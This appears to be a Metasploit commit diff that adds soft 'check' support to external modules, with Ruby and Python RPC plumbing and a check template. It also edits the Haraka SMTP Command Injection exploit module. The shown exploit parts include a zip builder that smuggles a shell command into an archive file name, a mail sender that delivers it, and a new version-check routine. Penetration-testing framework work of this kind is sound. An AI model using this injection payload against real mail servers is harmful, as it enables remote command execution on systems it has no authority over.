Land #10009, Add initial check support to external modules
parent
9e326d7c88
commit
9b152cec72
|
@ -107,6 +107,14 @@ class Exploit < Msf::Module
|
|||
# The module does not support the check method.
|
||||
#
|
||||
Unsupported = [ 'unsupported', "This module does not support check." ]
|
||||
|
||||
#
|
||||
# Hash for looking up codes by short name
|
||||
#
|
||||
Codes = [Unknown, Safe, Detected, Appears, Vulnerable, Unsupported].reduce({}) do |codes, code|
|
||||
codes[code.first] = code
|
||||
codes
|
||||
end.freeze
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -4,7 +4,7 @@ module Msf::Module::External
|
|||
include Msf::Auxiliary::Report
|
||||
include Msf::Module::Auth
|
||||
|
||||
def execute_module(path, method: :run, args: datastore)
|
||||
def execute_module(path, method: :run, args: datastore, fail_on_exit: true)
|
||||
mod = Msf::Modules::External.new(path, framework: framework)
|
||||
success = mod.exec(method: method, args: args) do |m|
|
||||
begin
|
||||
|
@ -14,7 +14,7 @@ module Msf::Module::External
|
|||
when :report
|
||||
process_report(m, mod)
|
||||
when :reply
|
||||
# Nothing useful yet
|
||||
return m.params['return']
|
||||
end
|
||||
rescue Interrupt => e
|
||||
raise e
|
||||
|
@ -24,7 +24,7 @@ module Msf::Module::External
|
|||
end
|
||||
end
|
||||
|
||||
fail_with Msf::Module::Failure::Unknown, "Module exited abnormally" if !success
|
||||
fail_with Msf::Module::Failure::Unknown, "Module exited abnormally" if fail_on_exit && !success
|
||||
end
|
||||
|
||||
def log_output(m)
|
||||
|
|
|
@ -75,15 +75,32 @@ def report_wrong_password(username, password, **opts):
|
|||
report('wrong_password', info)
|
||||
|
||||
|
||||
def run(metadata, module_callback):
|
||||
def run(metadata, module_callback, soft_check=None):
|
||||
req = json.loads(os.read(0, 10000).decode("utf-8"))
|
||||
callback = None
|
||||
if req['method'] == 'describe':
|
||||
rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'result': metadata})
|
||||
caps = []
|
||||
if soft_check:
|
||||
caps.append('soft_check')
|
||||
|
||||
meta = metadata.copy()
|
||||
meta.update({'capabilities': caps})
|
||||
|
||||
rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'result': meta})
|
||||
elif req['method'] == 'soft_check':
|
||||
if soft_check:
|
||||
callback = soft_check
|
||||
else:
|
||||
rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'error': {'code': -32601, 'message': 'Soft checks are not supported'}})
|
||||
elif req['method'] == 'run':
|
||||
callback = module_callback
|
||||
|
||||
if callback:
|
||||
args = req['params']
|
||||
module_callback(args)
|
||||
ret = callback(args)
|
||||
rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'result': {
|
||||
'message': 'Module completed'
|
||||
'message': 'Module completed',
|
||||
'return': ret
|
||||
}})
|
||||
|
||||
|
||||
|
|
|
@ -33,18 +33,36 @@ module Metasploit
|
|||
report(:wrong_password, opts.merge(username: username, password: password))
|
||||
end
|
||||
|
||||
def run(metadata, callback)
|
||||
def run(metadata, callback, soft_check: nil)
|
||||
self.logging_prefix = ''
|
||||
cb = nil
|
||||
req = JSON.parse($stdin.readpartial(10000), symbolize_names: true)
|
||||
if req[:method] == 'describe'
|
||||
capabilities = []
|
||||
capabilities << 'soft_check' if soft_check
|
||||
|
||||
meta = metadata.merge(capabilities: capabilities)
|
||||
rpc_send({
|
||||
jsonrpc: '2.0', id: req[:id], result: metadata
|
||||
jsonrpc: '2.0', id: req[:id], result: meta
|
||||
})
|
||||
elsif req[:method] == 'soft_check'
|
||||
if soft_check
|
||||
cb = soft_check
|
||||
else
|
||||
rpc_send({
|
||||
jsonrpc: '2.0', id: req[:id], error: {code: -32601, message: 'Soft checks are not supported'}
|
||||
})
|
||||
end
|
||||
elsif req[:method] == 'run'
|
||||
callback.call req[:params]
|
||||
cb = callback
|
||||
end
|
||||
|
||||
if cb
|
||||
ret = cb.call req[:params]
|
||||
rpc_send({
|
||||
jsonrpc: '2.0', id: req[:id], result: {
|
||||
message: 'Module completed'
|
||||
message: 'Module completed',
|
||||
'return' => ret
|
||||
}
|
||||
})
|
||||
end
|
||||
|
|
|
@ -32,6 +32,10 @@ class Msf::Modules::External::Shim
|
|||
render_template('common_metadata.erb', meta)
|
||||
end
|
||||
|
||||
def self.common_check(meta = {})
|
||||
render_template('common_check.erb', meta)
|
||||
end
|
||||
|
||||
def self.mod_meta_common(mod, meta = {}, drop_rhost: false)
|
||||
meta[:path] = mod.path.dump
|
||||
meta[:name] = mod.meta['name'].dump
|
||||
|
@ -54,6 +58,8 @@ class Msf::Modules::External::Shim
|
|||
[#{o['required']}, #{o['description'].dump}, #{o['default'].inspect}])"
|
||||
end
|
||||
end.join(",\n ")
|
||||
|
||||
meta[:capabilities] = mod.meta['capabilities']
|
||||
meta
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,7 @@
|
|||
<% if meta[:capabilities].include? 'soft_check' %>
|
||||
def check
|
||||
code = execute_module(<%= meta[:path] %>, method: :soft_check, fail_on_exit: false) || 'unknown'
|
||||
return Msf::Exploit::CheckCode::Codes[code]
|
||||
end
|
||||
<% end %>
|
||||
|
|
@ -34,6 +34,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
])
|
||||
end
|
||||
|
||||
<%= common_check meta %>
|
||||
|
||||
def execute_command(cmd, opts)
|
||||
execute_module(<%= meta[:path] %>, args: datastore.merge(command: cmd))
|
||||
end
|
||||
|
|
|
@ -10,6 +10,8 @@
|
|||
# Thanks to: Dexlab.nl for asking me to look at Haraka.
|
||||
|
||||
import smtplib
|
||||
import re
|
||||
from distutils.version import StrictVersion
|
||||
from email.mime.application import MIMEApplication
|
||||
from email.mime.multipart import MIMEMultipart
|
||||
from email.utils import COMMASPACE, formatdate
|
||||
|
@ -21,6 +23,7 @@ import zipfile
|
|||
import StringIO
|
||||
from metasploit import module
|
||||
|
||||
|
||||
metadata = {
|
||||
'name': 'Haraka SMTP Command Injection',
|
||||
'description': '''
|
||||
|
@ -52,6 +55,7 @@ metadata = {
|
|||
'rport': {'type': 'port', 'description': 'Target server port', 'required': True, 'default': 25}
|
||||
}}
|
||||
|
||||
|
||||
def send_mail(to, mailserver, cmd, mfrom, port):
|
||||
msg = MIMEMultipart()
|
||||
html = "harakiri"
|
||||
|
@ -79,6 +83,7 @@ def send_mail(to, mailserver, cmd, mfrom, port):
|
|||
s.close()
|
||||
return(False)
|
||||
|
||||
|
||||
class InMemoryZip(object):
|
||||
def __init__(self):
|
||||
self.in_memory_zip = StringIO.StringIO()
|
||||
|
@ -92,6 +97,7 @@ class InMemoryZip(object):
|
|||
self.in_memory_zip.seek(0)
|
||||
return self.in_memory_zip.read()
|
||||
|
||||
|
||||
def create_zip(cmd="touch /tmp/harakiri"):
|
||||
z1 = InMemoryZip()
|
||||
z2 = InMemoryZip()
|
||||
|
@ -100,8 +106,31 @@ def create_zip(cmd="touch /tmp/harakiri"):
|
|||
z1.append("a\";%s;echo \"a.zip"%cmd, z2.read())
|
||||
return(z1.read())
|
||||
|
||||
|
||||
def check_banner(args):
|
||||
module.log('{}:{} Starting banner check for Haraka < 2.8.9'.format(args['rhost'], args['rport']), level='debug')
|
||||
c = smtplib.SMTP()
|
||||
(code, banner) = c.connect(args['rhost'], int(args['rport']))
|
||||
c.quit()
|
||||
|
||||
if code == 220 and 'Haraka' in banner:
|
||||
versions = re.findall('(\d+\.\d+\.\d+)', banner)
|
||||
if versions:
|
||||
if StrictVersion(versions[0]) < StrictVersion('2.8.9'):
|
||||
return 'appears'
|
||||
else:
|
||||
return 'safe'
|
||||
else:
|
||||
return 'detected'
|
||||
elif code == 220:
|
||||
return 'detected'
|
||||
else:
|
||||
return 'unknown'
|
||||
|
||||
|
||||
def exploit(args):
|
||||
send_mail(args['email_to'], args['rhost'], args['command'], args['email_from'], int(args['rport']))
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
module.run(metadata, exploit)
|
||||
module.run(metadata, exploit, soft_check=check_banner)
|
||||
|
|
Loading…
Reference in New Issue